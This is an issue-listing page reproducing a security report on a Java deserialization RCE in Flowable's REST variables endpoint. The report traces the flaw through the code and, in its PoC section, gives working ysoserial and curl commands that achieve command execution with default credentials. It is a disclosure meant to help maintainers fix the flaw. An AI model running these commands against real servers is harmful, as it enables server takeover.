Hacktoberfest 2026:维护者为十月标记出来的 issue,仍然开放、适合新手。 浏览 Hacktoberfest issue

[SECURITY] Deserialization RCE via POST /runtime/process-instances/{processInstanceId}/variables with type=serializable (CWE-502, CVSS 8.8)

未关闭
#4,289 0 条评论 0 个 reaction 已指派 0 人 在 GitHub 查看

还没有人认领这个 Issue。

评估

难度
4/5
预计耗时
3-5 天
新手友好度
35/100
Issue 类型
缺陷
描述清晰度
基本清楚
活跃度
活跃
技术栈
java
领域
api, backend, security

调研方向

Start by reading BaseExecutionVariableResource.java around setBinaryVariable(), then trace the callers in BaseVariableCollectionResource.java and ProcessInstanceVariableCollectionResource.java. Check flowable-default.properties for the default serializable-variable setting and identify existing tests for multipart variable uploads. Done means the reported unrestricted deserialization path is no longer exploitable under the default configuration, with regression coverage for the endpoint.

由索引模型根据 Issue 内容生成。

描述

Security Vulnerability Report -- CWE-502

Summary

The Flowable REST API's POST /runtime/process-instances/{processInstanceId}/variables endpoint allows unrestricted Java deserialization (ObjectInputStream.readObject) of uploaded files via multipart/form-data under default configuration. An attacker only needs Basic Auth credentials to trigger remote code execution (RCE).

Vulnerability Description

Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0


Static Analysis Report

Vulnerability Overview

The Flowable REST API's POST /runtime/process-instances/{processInstanceId}/variables endpoint supports uploading binary variables via multipart/form-data. When the request's type parameter value is serializable, the server uses ObjectInputStream to directly perform Java native deserialization (readObject()) on the uploaded file content, without applying any class whitelist or ObjectInputFilter filtering. The rest.variables.allow.serializable property defaults to true in the default configuration, so an attacker only needs valid Basic Auth credentials to upload serialized objects containing malicious gadget chains to achieve remote code execution (RCE).

Exploitation Prerequisites
  • Authentication Status: Requires valid Basic Auth credentials (regular user sufficient; default authenticationMode=verify-privilege requires access-rest-api privilege, but authenticated() is sufficient)
  • Network Reachability: Flowable REST API port reachable (default 8080)
  • Input Constraints: Send a multipart/form-data request containing a name parameter, type=serializable parameter, and a file field containing the malicious serialized payload
  • Business Prerequisites: Need to know an existing processInstanceId (can be obtained via other API endpoints or by creating a process instance)
  • Configuration Dependencies: Triggerable with default configuration (rest.variables.allow.serializable=true); Spring Boot classpath typically contains Commons Collections, Spring Beans, and other libraries needed for deserialization gadget chains
Trigger Location

BaseExecutionVariableResource.java:162-166

} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();
    setVariable(execution, variableName, value, scope, isNew, async);
    stream.close();
Data Flow Overview
  1. Entry Layer — ProcessInstanceVariableCollectionResource.createExecutionVariable() (ProcessInstanceVariableCollectionResource.java:149-154)

    • Receives @PostMapping /runtime/process-instances/{processInstanceId}/variables multipart/form-data request
    • Calls getExecutionFromRequestWithoutAccessCheck(processInstanceId) to get Execution object
    • Delegates request to BaseVariableCollectionResource.createExecutionVariable()
  2. Dispatch Layer — BaseVariableCollectionResource.createExecutionVariable() (BaseVariableCollectionResource.java:83-86)

    • Checks request instanceof MultipartHttpServletRequest
    • If multipart request, calls setBinaryVariable((MultipartHttpServletRequest) request, execution, true, async)
  3. Parameter Parsing Layer — BaseExecutionVariableResource.setBinaryVariable() (BaseExecutionVariableResource.java:102-136)

    • Extracts uploaded file and form parameters (scope, name, type) from multipart request
    • Validates type only allows binary or serializable
    • When type=serializable, enters deserialization branch
  4. Sink — ObjectInputStream.readObject() (BaseExecutionVariableResource.java:164-165)

    • Directly uses new ObjectInputStream(file.getInputStream()) to construct deserialization stream
    • Calls stream.readObject() to deserialize uploaded file content
    • No class name whitelist, ObjectInputFilter, or ValidatingObjectInputStream protection
Data Flow Detailed Code Analysis
Chain 1: multipart/form-data serialized variable upload -> readObject() RCE

Layer 1: Entry — ProcessInstanceVariableCollectionResource.java:149-154

@PostMapping(value = "/runtime/process-instances/{processInstanceId}/variables",
    produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public Object createExecutionVariable(
    @ApiParam(name = "processInstanceId") @PathVariable String processInstanceId,
    HttpServletRequest request, HttpServletResponse response) {

    Execution execution = getExecutionFromRequestWithoutAccessCheck(processInstanceId);
    return createExecutionVariable(execution, false, false, request, response);
}
  • External input: processInstanceId (path parameter), request (HTTP request, containing multipart data)
  • Operation: Gets Execution object, then passes raw HttpServletRequest to parent class method
  • Data transfer: request passed as method parameter to BaseVariableCollectionResource.createExecutionVariable()

Layer 2: Dispatch — BaseVariableCollectionResource.java:83-86

protected Object createExecutionVariable(Execution execution, boolean override,
    boolean async, HttpServletRequest request, HttpServletResponse response) {
    Object result = null;
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, execution, true, async);
    } else {
        // JSON body processing...
    }
  • External input: request (HttpServletRequest passed from entry)
  • Operation: Checks if request is MultipartHttpServletRequest, if so calls setBinaryVariable()
  • Data transfer: Casts request to MultipartHttpServletRequest and passes it

Layer 3: Parameter Parsing — BaseExecutionVariableResource.java:102-136

protected RestVariable setBinaryVariable(MultipartHttpServletRequest request,
    Execution execution, boolean isNew, boolean async) {
    // ...
    MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
    // ...
    Map<String, String[]> paramMap = request.getParameterMap();
    for (String parameterName : paramMap.keySet()) {
        if (paramMap.get(parameterName).length > 0) {
            if ("scope".equalsIgnoreCase(parameterName)) {
                variableScope = paramMap.get(parameterName)[0];
            } else if ("name".equalsIgnoreCase(parameterName)) {
                variableName = paramMap.get(parameterName)[0];
            } else if ("type".equalsIgnoreCase(parameterName)) {
                variableType = paramMap.get(parameterName)[0];
            }
        }
    }
  • External input: multipart file and form parameters from request
  • Operation: Extracts uploaded file object file, and form parameters name, type, scope
  • Data transfer: file and variableType continue to be used within the same method

Layer 4: Sink — BaseExecutionVariableResource.java:144-166

if (variableType != null) {
    if (!RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
        && !RestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
        throw new FlowableIllegalArgumentException(
            "Only 'binary' and 'serializable' are supported as variable type.");
    }
} else {
    variableType = RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE;
}
// ...
if (variableType.equals(RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE)) {
    byte[] variableBytes = IOUtils.toByteArray(file.getInputStream());
    setVariable(execution, variableName, variableBytes, scope, isNew, async);
} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();  // ← SINK: unrestricted deserialization
    setVariable(execution, variableName, value, scope, isNew, async);
    stream.close();
}
  • External input: file.getInputStream() (attacker-uploaded file byte stream), variableType (attacker-controlled form parameter)
  • Operation: When variableType is "serializable" and isSerializableVariableAllowed is true (default value), directly deserializes the entire uploaded file content via ObjectInputStream.readObject() into a Java object
  • Key issue: No security wrappers used when constructing ObjectInputStream (e.g., Apache Commons IO's ValidatingObjectInputStream, Java 9+'s ObjectInputFilter), no restrictions on deserialized class names
  • Data transfer: Deserialized Object value directly stored as variable value in process engine

Default Configuration Confirmation:

flowable-default.properties:57:

rest.variables.allow.serializable=true

BaseExecutionVariableResource.java:70:

isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);

Default value is true, meaning the deserialization path is fully available under default deployment.

CVSS Breakdown
Vector Value Description
Attack Vector (AV) Network Triggered remotely via HTTP REST API
Attack Complexity (AC) Low Attacker only needs to send a multipart POST request, no special conditions
Privileges Required (PR) Low Requires valid Basic Auth credentials (regular user sufficient)
User Interaction (UI) None No user interaction required
Scope (S) Changed Deserialization RCE can affect Flowable engine and underlying OS, exceeding the vulnerable component's own scope
Confidentiality (C) High Successful exploitation can fully control server, access all sensitive data
Integrity (I) High Can modify arbitrary data, tamper with process definitions
Availability (A) High Can stop service, delete data

Overall Score: 8.8 (High)


PoC Verification Report

Flowable REST API POST /runtime/process-instances/{id}/variables Unrestricted Java Deserialization RCE

Vulnerability Summary

  1. Vulnerability Name: Flowable REST API ProcessInstance Variable Unrestricted Java Deserialization
  2. Affected Component/Port: Flowable REST API (Tomcat port 8080), version 7.1.0
  3. Vulnerability Description: Through the POST /runtime/process-instances/{processInstanceId}/variables endpoint uploading type=serializable variables via multipart/form-data, the server directly calls ObjectInputStream.readObject() to deserialize uploaded file content without any class name whitelist or ObjectInputFilter. An attacker can leverage Commons Collections gadget chain to achieve RCE
  4. Root Cause Code Snippet:
// BaseExecutionVariableResource.java:162-166
} else if (isSerializableVariableAllowed) {
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();  // ← SINK: unrestricted deserialization
    setVariable(execution, variableName, value, scope, isNew, async);
    stream.close();
}
  1. Brief Data Flow:
Attacker HTTP POST multipart/form-data
  → file=[CC6 gadget chain], name=testVar, type=serializable
    ↓
ProcessInstanceVariableCollectionResource.createExecutionVariable (ProcessInstanceVariableCollectionResource.java:149)
    ↓
BaseVariableCollectionResource.createExecutionVariable (BaseVariableCollectionResource.java:83)
  Detects MultipartHttpServletRequest → calls setBinaryVariable()
    ↓
BaseExecutionVariableResource.setBinaryVariable (BaseExecutionVariableResource.java:102)
  Extracts file, name, type parameters
    ↓
BaseExecutionVariableResource.java:164-165
  new ObjectInputStream(file.getInputStream()).readObject() → RCE

Exploitation Conditions

Condition Description
Authentication Requires valid Basic Auth credentials (regular user sufficient, e.g., rest-admin:test)
Network Reachability Flowable REST API port reachable (default 8080)
Configuration Dependency Exploitable with default config (rest.variables.allow.serializable=true)
Other Prerequisites Need an existing processInstanceId (can be obtained by creating a process instance via POST)

Exploitation Chain Progress

Successful Exploitation:

Chain Stage Location (file:line) Status Evidence / Description
Entry ProcessInstanceVariableCollectionResource.java:149 Reached POST multipart/form-data request with type=serializable parameter entered endpoint
Intermediate Flow BaseVariableCollectionResource.java:83 Reached request instanceof MultipartHttpServletRequest is true, entered setBinaryVariable()
Parameter Parsing BaseExecutionVariableResource.java:120-135 Reached Extracted name=testVar, type=serializable, variable type validation passed
Sink BaseExecutionVariableResource.java:164-165 Triggered ObjectInputStream.readObject() deserialized CC6 gadget chain, Runtime.exec() executed system command
Conclusion — Full Chain Closed, RCE Successful Filesystem produced file created by touch command as RCE evidence

Exploitation Verification

Step 1: Obtain processInstanceId
curl -s -u rest-admin:test -X POST \
  "http://localhost:8080/flowable-rest/service/runtime/process-instances" \
  -H "Content-Type: application/json" \
  -d '{"processDefinitionKey":"oneTaskProcess"}'

Return result (extract id field):

{"id":"1b783b21-9000-11f1-a444-02423661ba3a", ...}
Step 2: Generate CommonsCollections6 serialized payload
java --add-opens java.base/java.util=ALL-UNNAMED \
  -jar ysoserial-all.jar CommonsCollections6 \
  "touch /tmp/poc_entry_0625_rce_proof" > cc6_touch.ser
Step 3: Send malicious multipart request to trigger RCE
PROCESS_ID="1b783b21-9000-11f1-a444-02423661ba3a"

curl -s -u rest-admin:test \
  -X POST \
  -F "name=testVar" \
  -F "type=serializable" \
  -F "file=@cc6_touch.ser;type=application/octet-stream" \
  "http://localhost:8080/flowable-rest/service/runtime/process-instances/${PROCESS_ID}/variables"

Actual execution result: HTTP 201, variable created successfully:

{"name":"testVar","type":"serializable","value":null,
 "valueUrl":"http://localhost:8080/flowable-rest/service/runtime/process-instances/1b783b21-9000-11f1-a444-02423661ba3a/variables/testVar/data",
 "scope":"local"}
HTTP_CODE: 201
Step 4: Verify RCE command was executed on server
ls -la /tmp/poc_entry_0625_rce_proof

Actual result:

-rw-r----- 1 root root 0 Aug  4 12:29 /tmp/poc_entry_0625_rce_proof

Conclusion: The attacker successfully executed the touch /tmp/poc_entry_0625_rce_proof command on the Flowable REST API server through a multipart POST request carrying a CommonsCollections6 gadget chain. The HTTP 201 response confirms the server fully processed the request, and the new file /tmp/poc_entry_0625_rce_proof on the filesystem directly proves that ObjectInputStream.readObject() triggered Runtime.exec() to execute an arbitrary system command, achieving remote code execution (RCE). This vulnerability is exploitable under default configuration with only regular user Basic Auth credentials.

Severity

CVSS v3.1: 8.8 (High)

Vulnerability Category: CWE-502

CVE Assignment Request

If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.

Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.

Thank you for your help.

主要语言
Java
星标
9.6k
派生
2.9k
平均合并
1 小时 9 分钟
30 天内合并 PR
2

环境准备

  • 没有 Dockerfile 或 Docker Compose 文件
  • 有 Pull Request 模板
  • 没有贡献指南

从这里开始

  1. 先读完整个 Issue,再读项目的贡献指南。
  2. 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
  3. Fork 仓库,在一个分支上完成修改。
  4. 提交 Pull Request,并在描述里引用这个 Issue 编号。

flowable/flowable-engine 的其他 Issue

查看 flowable/flowable-engine 的全部 Issue

相似的 Issue

更多 Java Issue

把新 issue 发到你的邮箱

精选适合新手参与的 GitHub issue 摘要。